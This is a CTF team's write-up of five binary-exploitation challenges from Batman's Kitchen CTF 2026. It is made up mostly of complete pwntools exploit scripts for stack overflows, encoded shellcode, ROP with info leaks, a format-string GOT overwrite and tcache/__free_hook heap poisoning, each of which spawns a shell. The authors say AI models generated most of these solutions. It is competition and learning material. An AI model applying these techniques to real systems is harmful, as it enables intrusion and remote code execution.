team-logo
Published on

Batman's Kitchen CTF 2026 - PWN challenges

Authors

Introduction for vibe hacking

Between February 21st and 23rd, 2026, a fairly interesting American CTF took place. Unfortunately, registration was limited to a single account, but our bot MindCrafcik successfully managed flag counting. This time, we'll briefly describe the PWN challenges we solved—all of them. Most solutions were generated by Claude and Gemini. Fortunately, Claude hit its limits on the Igetsit challenge, so I took over midway. For Dogtrack, it consumed millions of tokens and dozens of hours across three people, but we got it done (Grzechu's chat session was impressively persistent). While it's encouraging that AI models with MCP support can capture flags, the satisfaction isn't quite the same as solving them manually. That said, you still need genuine knowledge—otherwise AI models waste tokens mindlessly when they don't know what to do, and those costs add up. Humans remain essential. However, AI-generated solutions tend to be characterized by a stretched approach, doing unnecessary additional things, which often makes the code less readable. More details about the CTF here.

[EASY]/egghead

01

Solution author: kerszi

A bit embarrassing, but for such a simple task I used an MCP model with Claude - Sonnet 4.6.

Solution

solution.py
#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./egghead')

# Remote or local
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    HOST = sys.argv[2] if len(sys.argv) > 2 else 'localhost'
    PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
    io = remote(HOST, PORT)
else:
    io = process('./egghead')

win = elf.symbols['win']
# ret gadget for stack alignment
ret = ROP(elf).find_gadget(['ret'])[0]

log.info(f"win @ {hex(win)}")
log.info(f"ret @ {hex(ret)}")

# Buffer is 0x20 (32) bytes from rbp
# Offset to return address: 32 (buf) + 8 (saved rbp) = 40
# fgets reads 64 bytes, so we have 64 - 40 = 24 bytes for ROP chain

# First input: overflow return address with ret;win (for alignment)
payload = b'A' * 40 + p64(ret) + p64(win)

io.sendlineafter(b'> ', payload)

# Second input: "Happy Gilmore" to exit the loop and trigger return
io.sendlineafter(b'> ', b'Happy Gilmore')

io.interactive()

Flag:

bkctf{hit73m_wi7h_th3_br4in_d3s7r0y3r}

Cult Classic

02

Solution author: kerszi

I didn't even review this challenge, I just threw it at the model and it was done in a minute.

Analysis

The binary is a 64-bit PIE ELF with an executable stack (RWE) — a clear hint that this is a shellcode challenge.

Program Flow

  1. main reads up to 128 bytes from stdin via fgets into a stack buffer
  2. Passes the buffer to castSpell
  3. castSpell transforms each byte using: output[i] = (input[i] ^ i) + 7
  4. The transformed buffer is then called as code (call *%rax)

Key Observations

  • Stack is marked RWE (Read-Write-Execute), so shellcode on the stack will run
  • The transformation is a simple per-byte XOR with the index plus a constant — fully reversible
  • fgets stops at newline (0x0a), so encoded payload must not contain that byte
  • Loop counter is a signed byte, iterating from 0 to 127

Solution

solution.py

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

def encode_shellcode(sc):
    encoded = bytearray()
    for i, b in enumerate(sc):
        enc = ((b - 7) ^ i) & 0xFF
        if enc == 0x0a:
            return None
        encoded.append(enc)
    return encoded

shellcode = asm(shellcraft.sh())

# Prepend NOPs until no encoded byte is 0x0a
for nop_count in range(0, 40):
    candidate = b'\x90' * nop_count + shellcode
    if len(candidate) >= 128:
        break
    encoded = encode_shellcode(candidate)
    if encoded is not None:
        break

r = remote('pwn-cc-5cfc69a66a7e1d48.instancer.batmans.kitchen', 1337, ssl=True)
r.recvuntil(b'sigils')
r.sendline(encoded)
r.sendline(b'cat flag*')
r.interactive()

Flag:

bkctf{pr415e_0ur_l0rd_4nd_54v10r_c7hulu}

Yapster

03

Solution author: kerszi

All vibe hacking long code with unnecessary stuff ;)

solution.py
#!/usr/bin/env python3
from pwn import *
import argparse

context.arch = 'amd64'
context.log_level = 'info'

parser = argparse.ArgumentParser()
parser.add_argument('--remote', '-r', action='store_true', help='Connect to remote server')
parser.add_argument('--host', default='localhost', help='Remote host (default: localhost)')
parser.add_argument('--port', '-p', type=int, default=1337, help='Remote port (default: 1337)')
args = parser.parse_args()

# ── Binary / Libc setup ──────────────────────────────────────────────
elf  = ELF('./yapster', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

# Known offsets within libc
LIBC_POP_RDI = 0x23b6a   # pop rdi; ret
LIBC_RET     = 0x22679   # ret  (for stack alignment)
LIBC_SYSTEM  = libc.symbols['system']          # 0x52290
LIBC_BINSH   = next(libc.search(b'/bin/sh'))   # 0x1b45bd

# PIE offset: readInbox returns to main at this PIE-relative address
#   176c: call readInbox
#   1771: (next insn — the return address)
PIE_READINBOX_RET = 0x1771

# Libc offset: main returns into __libc_start_main at this libc-relative addr
#   24081: call rax      (calls main)
#   24083: mov edi, eax  (return lands here)
LIBC_MAIN_RET = 0x24083

# ── Helpers ───────────────────────────────────────────────────────────
def menu(io, choice):
    io.sendlineafter(b'> ', str(choice).encode())

def send_msg(io, body, receiver):
    """Send a message. body/receiver are raw bytes (no trailing newline)."""
    menu(io, 1)
    io.sendlineafter(b'> ', body)
    io.sendlineafter(b'> ', receiver)

def read_inbox(io):
    menu(io, 2)

def has_badchar(data, bad=b'\x0a'):
    """Check if data contains any bad characters (newline for fgets)."""
    return any(b in data for b in bad)

# ── Connect ───────────────────────────────────────────────────────────
def exploit():
    while True:
        if args.remote:
            io = remote(args.host, args.port, ssl=True)
        else:
            io = process('./yapster')

        # ╔═══════════════════════════════════════════════════════════════╗
        # ║  PHASE 1 — Leak canary + PIE + libc via readInbox fwrite    ║
        # ╠═══════════════════════════════════════════════════════════════╣
        #
        # Vulnerability: fgets(msg.reciever, 48, stdin) overflows the
        # 32-byte reciever buffer into timeSent (8 bytes) and messageLen
        # (8 bytes).
        #
        # By sending to self ("BigHippo85"), the msg is copied to inbox.
        # readInbox() copies it to a *stack* local and calls:
        #     fwrite(msg.messageBody, 1, msg.messageLen, stdout)
        #
        # readInbox stack (offsets from msg.messageBody start):
        #   +0  .. +47   messageBody  (our data)
        #   +48 .. +55   stack padding
        #   +56 .. +63   *** STACK CANARY ***
        #   +64 .. +71   padding
        #   +72 .. +79   saved rbx
        #   +80 .. +87   saved rbp  (= main's rbp)
        #   +88 .. +95   return addr into main  → PIE leak
        #   +96 .. +119  main locals / padding
        #   +120.. +127  main's return addr     → libc leak
        #
        # Set messageLen = 128 (0x80) to dump through the libc address.

        USER = b'BigHippo85'

        # Build receiver overflow for the leak:
        leak_receiver  = USER + b'\x00'          # 11 bytes
        leak_receiver += b'A' * 21               # pad to 32 (end of reciever)
        leak_receiver += p64(0)                  # timeSent  (8 bytes)
        leak_receiver += b'\x80' + b'\x00' * 6   # messageLen = 128
        assert len(leak_receiver) == 47

        leak_body = b'X' * 10

        log.info('Sending leak message to self...')
        send_msg(io, leak_body, leak_receiver)

        log.info('Reading inbox to trigger fwrite leak...')
        read_inbox(io)

        io.recvuntil(b'From: ')
        io.recvuntil(b'\n')
        leak_data = io.recvn(128)

        canary   = u64(leak_data[56:64])
        pie_ret  = u64(leak_data[88:96])
        libc_ret = u64(leak_data[120:128])

        pie_base  = pie_ret  - PIE_READINBOX_RET
        libc_base = libc_ret - LIBC_MAIN_RET

        log.success(f'Canary:    {canary:#018x}')
        log.success(f'PIE base:  {pie_base:#018x}')
        log.success(f'Libc base: {libc_base:#018x}')

        assert canary & 0xff == 0, 'Canary LSB should be \\x00'
        assert pie_base  & 0xfff == 0, 'PIE base not page-aligned'
        assert libc_base & 0xfff == 0, 'Libc base not page-aligned'

        io.recvuntil(b'---------')

        # ╔═══════════════════════════════════════════════════════════════╗
        # ║  PHASE 2 — ROP via memcpy overflow in sendMessage else      ║
        # ╠═══════════════════════════════════════════════════════════════╣
        #
        # When receiver != USER, sendMessage does:
        #     memcpy(&sentMessage.msg.messageBody, &msg, sizeof(msg));
        #
        # This copies 128 bytes into a 48-byte buffer → 80-byte overflow.
        #
        # sendMessage stack mapping (offsets from memcpy dst = msg byte):
        #   Byte  0-31  → msg.sender    (fixed "BigHippo85")
        #   Byte 32-55  → msg.reciever[0:24]
        #   Byte 56-63  → msg.reciever[24:32]  ← CANARY
        #   Byte 64-71  → msg.timeSent         ← saved RBP
        #   Byte 72-79  → msg.messageLen       ← RETURN ADDRESS
        #   Byte 80-127 → msg.messageBody      ← ROP chain continuation

        pop_rdi = libc_base + LIBC_POP_RDI
        ret     = libc_base + LIBC_RET
        system  = libc_base + LIBC_SYSTEM
        binsh   = libc_base + LIBC_BINSH

        # Check for \n in canary and all payload addresses.
        # fgets stops at \n, so any \n in our binary payload truncates it.
        # If bad bytes are found, restart with fresh ASLR randomization.
        payload_bytes = p64(canary) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
        if has_badchar(payload_bytes):
            log.warn('Bad byte (\\n) in canary or addresses — retrying...')
            io.close()
            continue

        log.info(f'pop_rdi: {pop_rdi:#x}')
        log.info(f'ret:     {ret:#x}')
        log.info(f'system:  {system:#x}')
        log.info(f'binsh:   {binsh:#x}')

        # ── Build messageBody (first fgets input) ────────────────────
        # Pad to 46 bytes so sendline's \n is the 47th char and gets
        # consumed by fgets(buf,48).  If we pad to 47, fgets hits its
        # limit before \n, leaving a stale \n that poisons the next read.
        rop_chain  = p64(pop_rdi)
        rop_chain += p64(binsh)
        rop_chain += p64(system)
        exploit_body = rop_chain.ljust(46, b'\x00')

        # ── Build reciever overflow (second fgets input) ─────────────
        exploit_recv  = b'B' * 24                # filler (not USER)
        exploit_recv += p64(canary)              # restore canary
        exploit_recv += p64(0)                   # fake saved rbp
        exploit_recv += p64(ret)[:7]             # ret gadget (7 bytes + fgets \0)
        assert len(exploit_recv) == 47

        log.info('Sending exploit payload...')
        send_msg(io, exploit_body, exploit_recv)

        log.success('Shell spawned!')
        io.interactive()
        return

if __name__ == '__main__':
    exploit()

Flag

bkctf{y4pp3d_t0_cl0s3_70_5un}

igetsit

04

Solution author: kerszi

Claude solved this challenge halfway through, then struggled immensely and couldn't complete it, so I analyzed it from scratch and finished the task with minor help from Gemini.

solution.py
from pwn import *             

context.log_level = 'warning' 

LIBC_LEAK_OFF = 0x10e297
PIE_LEAK_OFF  = 0x40a0
STRLEN_GOT    = 0x4028  # PIE offset

context.update(arch='x86_64', os='linux') 

context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root

HOST="nc igetsit-db83c19f208e0649.instancer.batmans.kitchen 1337"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./igetsit"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc.so.6', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT, ssl=True)
else:
    p = process(binary.path)    

warn("Step 1: Leaking libc and PIE base...")
fmt_leak = b'%10$p|%3$p'


p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'7')
payload = b"\x00" + b"A" * 1023 + b"%10$p|%3$p"
p.sendlineafter(b'> ', payload)
#pause(3)

p.sendlineafter(b'> ', b'1')          # Wybieramy '1. Get bin' [cite: 116]
p.sendlineafter(b'> ', b'0')          # Wybieramy dowolny bin (np. 0) [cite: 110]
p.sendlineafter(b'> ', b'0')          # Wybieramy nieistniejącą opcję formatu (np. 0), 
                                      # co zmusza program do printf(readFormat, ...).

# # ================= KROK 3: ODBIÓR I MATEMATYKA =================
p.recvuntil(b'Not an option\n')       # Program wypisze to przed naszymi adresami 
leak = p.recvline().strip()           # To jest nasza linia: 0x55...|0x7f...
parts = leak.split(b'|')

# Obliczanie baz
pie_base  = int(parts[0], 16) - PIE_LEAK_OFF
libc_base = int(parts[1], 16) - LIBC_LEAK_OFF

system_addr = libc_base + libc.symbols['system']
#one_gadget = libc_base+0xe3afe
one_gadget = libc_base+0xe3b01  #this works
# one_gadget = libc_base+0xe3b04

strlen_got  = pie_base + STRLEN_GOT
exit_got  = pie_base+binary.got.exit

warn(f'PIE base:    {hex(pie_base)}')
warn(f'libc base:   {hex(libc_base)}')
warn(f'strlen@GOT:  {hex(strlen_got)}')
warn(f'exit@GOT:    {exit_got:#x}')

# ==================== KROK 2: NADPISANIE exit@GOT (Test) ====================
# nadpisywanie exit_got -> one_gadget
targets = [
    (exit_got,     one_gadget & 0xffff),
    (exit_got + 2, (one_gadget >> 16) & 0xffff),
    (exit_got + 4, (one_gadget >> 32) & 0xffff)
]

for addr, val in targets:
    warn(f"Zapisywanie 0x{val:04x} pod adres {hex(addr)}...")
    
    # 1. Wstawiamy adres do bin0
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', b'0')
    p.sendline(p64(addr))
    
    # 2. Ustawiamy format string w readFormat (przez bin7)
    if val == 0:
        fmt = b"%1$hn" # Jeśli wartość to 0, nie wypisujemy nic
    else:
        fmt = f"%{val}c%1$hn".encode()
    
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'> ', b'7')
    p.sendlineafter(b'> ', b"\x00" + b"A" * 1023 + fmt)
    
    # 3. Wyzwalamy printf
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'> ', b'0')
    p.sendlineafter(b'> ', b'0')
    
    # Czyścimy bufor (odbieramy te tysiące spacji)
    p.recvuntil(b'Not an option\n', timeout=15)

warn("GOT nadpisany! Czas na shella.")

p.sendlineafter(b'> ', b'3')
p.sendline(b'cat flag')
p.interactive()

Flag:

bkctf{g0_g3ts()_y0ur_bag_gIr1}

dogtrack

This challenge consumed millions of tokens from chats and significant involvement from team members and many reindeer. Only the persistent Chat-Grzechu managed to handle it. Others fell short on this one. Great respect for the perseverance.

Solution author: Grzechu

Solution:

solution.py

#!/usr/bin/env python3
"""
dogtrack CTF exploit - FINAL WORKING VERSION v2
Poison null byte -> consolidation -> libc leak -> stale pointer tcache poison -> shell

Key fix: Added dummy race after hook record creation to prevent slot collision.
slot_C and hook_slot must be different for the swap to actually change data.
"""
from pwn import *
import sys, time

context.arch = 'amd64'
context.log_level = 'debug' if '--debug' in sys.argv else 'info'

REMOTE_HOST = 'dogtrack-fdbef087a254cfd3.instancer.batmans.kitchen'
REMOTE_PORT = 1337

libc = ELF('./libc.so.6')
SYSTEM = libc.symbols['system']
FREE_HOOK = libc.symbols['__free_hook']
MALLOC_HOOK = libc.symbols['__malloc_hook']
UNSORTED_BIN_OFF = MALLOC_HOOK + 0x10 + 88

log.info(f"system=0x{SYSTEM:x}  __free_hook=0x{FREE_HOOK:x}  unsorted=0x{UNSORTED_BIN_OFF:x}")

# ====== Helpers ======
def go_pound(p):
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'pound!')

def leave_pound(p):
    p.recvuntil(b'> ')
    p.sendline(b'3')

def breed(p, k, name, speed):
    p.recvuntil(b'> ')
    p.sendline(b'1')
    p.recvuntil(b'Kennel Index > ')
    p.sendline(str(k).encode())
    p.recvuntil(b'characters) > ')
    p.send(name)
    p.recvuntil(b'characters) > ')
    p.send(speed)
    p.recvuntil(b'kennel')
    p.recvline()

def release(p, k):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'Kennel Index > ')
    p.sendline(str(k).encode())

def go_hof(p):
    p.recvuntil(b'> ')
    p.sendline(b'3')
    p.recvuntil(b'Hall of Fame!')

def leave_hof(p):
    p.recvuntil(b'> ')
    p.sendline(b'3')

def wipe(p, i):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'Record index > ')
    p.sendline(str(i).encode())

def swap(p, i, j):
    p.recvuntil(b'> ')
    p.sendline(b'4')
    p.recvuntil(b'Record index > ')
    p.sendline(str(i).encode())
    p.recvuntil(b'Record Index > ')
    p.sendline(str(j).encode())
    p.recvuntil(b'swapped!')

def race(p, k):
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'Kennel Index > ')
    p.sendline(str(k).encode())
    return p.recvuntil(b'\nSelect Option')

nrec = 0
def do_race(p, k):
    global nrec; ret = race(p, k); nrec += 1; return ret
def do_wipe(p, i):
    global nrec; wipe(p, i); nrec -= 1

# ====== Exploit ======
def pwn():
    global nrec

    if 'local' in sys.argv:
        p = process('./dogtrack')
    else:
        p = remote(REMOTE_HOST, REMOTE_PORT, ssl=True)

    p.recvuntil(b'Dog Track!')
    log.info("Connected!")

    # == PHASE 1: Initial heap layout ==
    go_pound(p)
    breed(p, 0, b'AAAAAA\n', b'\xff\n')
    leave_pound(p)

    do_race(p, 0)  # slot 0
    do_race(p, 0)  # slot 1 (recA)

    go_pound(p)
    breed(p, 1, b'BBBBBBBB\n', b'\xfe\n')
    leave_pound(p)

    do_race(p, 0)  # slot 2 (recC)
    do_race(p, 0)  # slot 3 (guard)
    for _ in range(5):
        do_race(p, 0)  # slots 4-8
    log.info(f"Phase 1: {nrec} records")

    # == PHASE 2: Fill tcache 0x100, free recA to unsorted bin ==
    go_hof(p)
    for i in [0, 3, 4, 5, 6, 7, 8]:
        do_wipe(p, i)
    do_wipe(p, 1)  # recA -> unsorted (8th free, tcache full)
    leave_hof(p)
    log.info("Phase 2: tcache full, recA in unsorted")

    # == PHASE 3: Off-by-one + fake prev_size ==
    go_pound(p)
    release(p, 1)
    breed(p, 1, b'X' * 24 + p16(0x130) + b'\x00' * 5, b'\xff\n')
    leave_pound(p)
    log.info("Phase 3: off-by-one applied")

    # == PHASE 4: Backward consolidation ==
    go_hof(p)
    do_wipe(p, 2)
    leave_hof(p)
    log.info("Phase 4: 0x230 consolidated")

    # == PHASE 5: Drain tcache + alloc from unsorted ==
    for _ in range(7):
        do_race(p, 0)
    do_race(p, 0)  # 8th: from unsorted, 0x130 remainder at dogB
    log.info("Phase 5: remainder at dogB")

    go_hof(p)
    do_wipe(p, 0)  # 1 tcache entry for leak
    leave_hof(p)

    # == PHASE 6: Libc leak ==
    p.recvuntil(b'> ')
    p.sendline(b'2')
    p.recvuntil(b'Kennel Index > ')
    p.sendline(b'1')
    p.recvuntil(b'\n')
    line = p.recvuntil(b' now entering')
    leaked = line[:-len(b' now entering')]
    log.info(f"Leak ({len(leaked)} bytes): {leaked.hex()}")

    leak_addr = u64(leaked.ljust(8, b'\x00'))
    libc_base = leak_addr - UNSORTED_BIN_OFF
    if libc_base & 0xfff:
        for delta in [8, -8, 16, -16]:
            t = leak_addr - (UNSORTED_BIN_OFF + delta)
            if t & 0xfff == 0:
                libc_base = t; break

    system_addr = libc_base + SYSTEM
    free_hook_addr = libc_base + FREE_HOOK
    log.success(f"libc: {hex(libc_base)}")
    log.success(f"system: {hex(system_addr)}")
    log.success(f"__free_hook: {hex(free_hook_addr)}")

    p.recvuntil(b'\nSelect Option')
    nrec += 1

    # == PHASE 7: Record overlap at chunk_X (dogB position) ==
    do_race(p, 0)
    overlap_slot = (nrec - 1) % 16
    log.info(f"Phase 7: overlap at slot {overlap_slot}, nrec={nrec}")

    # == PHASE 8: Stale pointer tcache poison ==
    
    # Step A: Create hook record with name=p64(__free_hook).
    # This allocs from top chunk (tcache 0x100 empty), NOT at chunk_X.
    go_pound(p)
    release(p, 0)
    breed(p, 0, p64(free_hook_addr) + b'\n', b'\x00\n')
    leave_pound(p)
    do_race(p, 0)
    hook_slot = (nrec - 1) % 16
    log.info(f"Step A: hook record at slot {hook_slot}, nrec={nrec}")

    # Step A.5: Dummy race to bump nrec (prevents slot collision with slot_C later).
    go_pound(p)
    release(p, 0)
    breed(p, 0, b'AAAAAA\n', b'\xff\n')
    leave_pound(p)
    do_race(p, 0)
    log.info(f"Step A.5: dummy race, nrec={nrec}")

    # Step 1: Free chunk_X to tcache via wipe(overlap_slot).
    go_hof(p)
    do_wipe(p, overlap_slot)
    leave_hof(p)
    log.info(f"Step 1: chunk_X in tcache, nrec={nrec}")

    # Step 2: Pop chunk_X via race. Key cleared. Record at slot_B.
    do_race(p, 0)
    slot_B = (nrec - 1) % 16
    log.info(f"Step 2: popped, slot_B={slot_B}, nrec={nrec}")

    # Step 3: Free chunk_X again via release(dogB).
    # Key=[8..15]=0 (cleared in step 2) != tcache_perthread -> PASSES!
    go_pound(p)
    release(p, 1)
    leave_pound(p)
    log.info(f"Step 3: freed via release(dogB), nrec={nrec}")

    # Step 4: Pop chunk_X via race. Key cleared. Record at slot_C.
    do_race(p, 0)
    slot_C = (nrec - 1) % 16
    log.info(f"Step 4: popped, slot_C={slot_C}, nrec={nrec}")

    # Step 5: Free chunk_X via stale wipe(slot_B).
    # Key=0 (cleared in step 4) != tcache -> PASSES!
    # After: tcache entries[14] = chunk_X, count=1.
    go_hof(p)
    do_wipe(p, slot_B)
    log.info(f"Step 5: chunk_X in tcache (stale wipe), nrec={nrec}")

    # Step 6: SWAP slot_C (stale ptr->chunk_X in tcache) with hook_slot.
    # This writes p64(__free_hook) to chunk_X[0..7] via strcpy,
    # while chunk_X is IN tcache! Poisons next pointer!
    log.info(f"Step 6: swap({slot_C}, {hook_slot})")
    assert slot_C != hook_slot, f"COLLISION: slot_C={slot_C} == hook_slot={hook_slot}"
    swap(p, slot_C, hook_slot)
    log.success(f"SWAP done! chunk_X->next = __free_hook in tcache!")
    leave_hof(p)

    # Step 7: Pop chunk_X. entries becomes chunk_X->next = __free_hook!
    do_race(p, 0)
    log.info(f"Step 7: popped chunk_X, entries=__free_hook, nrec={nrec}")

    # Step 8: Re-breed dog0 with name=p64(system_addr).
    go_pound(p)
    release(p, 0)
    breed(p, 0, p64(system_addr) + b'\n', b'\x00\n')
    leave_pound(p)

    # Step 9: Pop __free_hook! Record writes system_addr to __free_hook.
    do_race(p, 0)
    log.success(f"__free_hook overwritten with system()!")

    # == PHASE 9: Trigger shell ==
    go_pound(p)
    breed(p, 2, b'A\n', b'sh\n')  # dog2: speed = "sh\n"
    log.info("Triggering free -> system('sh')...")
    p.recvuntil(b'> ')
    p.sendline(b'2')       # release
    p.recvuntil(b'Kennel Index > ')
    p.sendline(b'2')       # dog2

    time.sleep(0.5)
    log.success("SHELL!")
    p.sendline(b'id')
    p.interactive()

pwn()

Flag:

bkctf{7h3_r4w35t_0f_h07d0G5}

Bonus

You can find all binaries here.